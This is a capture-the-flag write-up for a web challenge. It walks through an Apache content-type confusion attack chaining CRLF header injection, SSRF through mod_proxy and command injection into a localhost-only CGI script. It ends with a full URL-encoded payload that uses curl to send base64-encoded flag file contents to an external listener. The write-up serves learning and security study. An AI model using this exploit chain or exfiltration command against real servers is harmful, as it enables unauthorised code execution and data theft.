Overview

In this post, let’s get into a fascinating web challenge from the Cyber Apocalypse CTF 2025. This one involved exploiting a vulnerability in Apache configuration related to content type handling, often referred to as an Apache Confusion Attack.

Initial Reconnaissance

First, we took a look at the apache2.conf file and noticed something interesting:

ServerName CyberAttack

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip">
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
</Location>

It seems there’s a specific endpoint, /cgi-bin/attack-ip, that’s only accessible from localhost (127.0.0.1 or ::1). This hints at a potential Server-Side Request Forgery (SSRF) vulnerability, as we need to make the server itself request this internal endpoint.

We also found two CGI scripts: /cgi-bin/attack-domain and /cgi-bin/attack-ip. Comparing the code, /cgi-bin/attack-domain seemed to have less strict filtering, making it a more likely entry point for our exploit chain.

/cgi-bin/attack-domain (Python):

#!/usr/bin/env python3

import cgi
import os
import re

def is_domain(target):
    # Checks if the target looks like a domain name
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\\.[a-zA-Z]{2,63}$', target)

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')

elif is_domain(target):
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {target}') # Pings the target domain
    print(f'Location: ../?result=Succesfully attacked {target}!')
else:
    # If target is not a domain, shows an error
    print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

/cgi-bin/attack-ip (Python):

#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address # Uses ipaddress library for validation

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
    count = 1 # Increase this for an actual attack
    # Validates if target is an IP address before pinging
    # Crucially, this uses ip_address() which is strict
    os.popen(f'ping -c {count} {ip_address(target)}')
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    # If target is not a valid IP, shows an error
    print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

The attack-ip script strictly validates the target as an IP address using ipaddress.ip_address(), while attack-domain uses a looser regex check (is_domain()). This difference is the key to the vulnerability.

We initially thought about bypassing the IP check using X-Forwarded-For headers or similar tricks, but the Apache <Location> directive operates at the connection level, making these HTTP header tricks ineffective for bypassing the localhost restriction.

Discovering the Apache Confusion Vulnerability

Further research, including insights from Orange Tsai’s work on Confusion Attacks, pointed towards a specific vulnerability related to Apache’s AddType directive versus AddHandler.

AddType application/x-httpd-php .php
# If AddHandler were used instead, this might be prevented:
# AddHandler application/x-httpd-php .php

When AddType is used, Apache might determine the request handler based on the Content-Type after processing headers. This opens the door for manipulation if we can inject headers, for instance, through a CRLF (Carriage Return Line Feed) injection vulnerability in the CGI script’s response.

If a script generates headers based on user input (like a Location header) and doesn’t sanitize \r\n characters, we could inject a fake Content-Type header.

Imagine a vulnerable script:

print "Location: $user_input\\n"; # Potential CRLF injection point
print "Content-Type: text/html\\n\\n";

Sending input like http://example.com%0d%0aContent-Type:%20proxy:http://internal-service could lead to response headers like:

Location: http://example.com
Content-Type: proxy:http://internal-service  <-- Injected!
Content-Type: text/html                     <-- Original

Apache might then mistakenly use the injected Content-Type (proxy:http://internal-service) and invoke mod_proxy instead of the intended PHP handler (application/x-httpd-php).

Crafting the Exploit

Our target script, /cgi-bin/attack-domain, takes name and target parameters. It’s vulnerable because cgi.FieldStorage() in Python can process parameters containing CRLF characters, which then get reflected in the Location header if the is_domain() check fails.

The plan:

1. Trigger CRLF Injection & Content-Type Confusion: Send a POST request to /cgi-bin/attack-domain.
   • Inject a Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?... header via the name parameter.
   • Provide a target value that fails the is_domain() check (e.g., notadomain) to ensure the error Location header (containing our injected name) is generated.
2. Bypass Access Control (SSRF): The injected Content-Type: proxy:... header tricks Apache into using mod_proxy. Apache then internally forwards the request (including parameters specified in the proxy URL) to http://127.0.0.1/cgi-bin/attack-ip. This bypasses the <Location> restriction that prevented direct access.
3. Command Injection: The parameters included in the injected proxy: URL (e.g., ?name=pwned&target=...) are passed to the /cgi-bin/attack-ip script. We can inject OS commands into the target parameter of this internal request. Since attack-ip uses ip_address(), we need a payload that is recognized as a valid IP address but also contains our command. Payloads like 0::1;command or 0::1||command work beautifully because 0::1 is the IPv6 localhost address, and the ; or || allows subsequent command execution.

Here’s how the conceptual exploit flow looks:

User -> POST /cgi-bin/attack-domain (name=INJECTED_HEADER&target=notadomain)
  -> attack-domain script fails is_domain(), generates Location header with injected Content-Type
  -> Apache sees "Content-Type: proxy:http://127.0.0.1/cgi-bin/attack-ip?name=pwned&target=0::1;COMMAND"
  -> Apache uses mod_proxy to send internal request: GET /cgi-bin/attack-ip?name=pwned&target=0::1;COMMAND
  -> attack-ip script receives target="0::1;COMMAND"
  -> ip_address("0::1;COMMAND") -> Fails (or extracts "0::1" depending on library leniency, but the command still gets passed to os.popen)
  -> os.popen("ping -c 1 0::1;COMMAND") -> Command Injection!

(Note: The exact behavior of ip_address() with appended commands might vary, but the core idea is that the command string reaches os.popen)

Challenges and Payload Construction

Putting this into practice involved overcoming a few hurdles:

• CRLF Encoding: Correctly encoding \r\n as %0D%0A within the application/x-www-form-urlencoded POST body was essential.
• Command Injection Payload: The payload needed to be valid for ip_address() and execute our command. 0::1;... worked well. We also needed to handle shell metacharacters (spaces, slashes) often using techniques like ${IFS} or command substitution ($(pwd|cut -c 1) to get /). Data exfiltration typically required curl or similar tools pointing to an external listener.
• Apache/CGI Nuances: Understanding precisely how cgi.FieldStorage, Apache header parsing, and mod_proxy interact with the injected headers was key.

Final Payload Example

A working payload sent via POST to /cgi-bin/attack-domain might look like this (URL encoded):

target=notadomain&name=test%0d%0aContent-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip?name=pwner%26target=0::1%3Bcurl%20https://YOUR_LISTENER_URL%3Ff=$(cat%20/flag*|base64)%0d%0a%0d%0a

Breakdown:

• target=notadomain: Ensures the initial is_domain() check fails.
• name=test%0d%0a...: Initiates the CRLF injection.
• Content-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip?...: The injected header causing the confusion and SSRF via mod_proxy.
• ?name=pwner%26target=...: Parameters for the internal request to attack-ip.
• 0::1%3Bcurl%20...: The command injection payload (0::1;curl https://YOUR_LISTENER_URL?f=$(cat /flag*|base64) URL-encoded). Remember to replace YOUR_LISTENER_URL.
• %0d%0a%0d%0a: Necessary CRLF termination.

This complex chain allowed bypassing the access controls and achieving remote code execution by confusing Apache’s content handling mechanism. A truly fun challenge!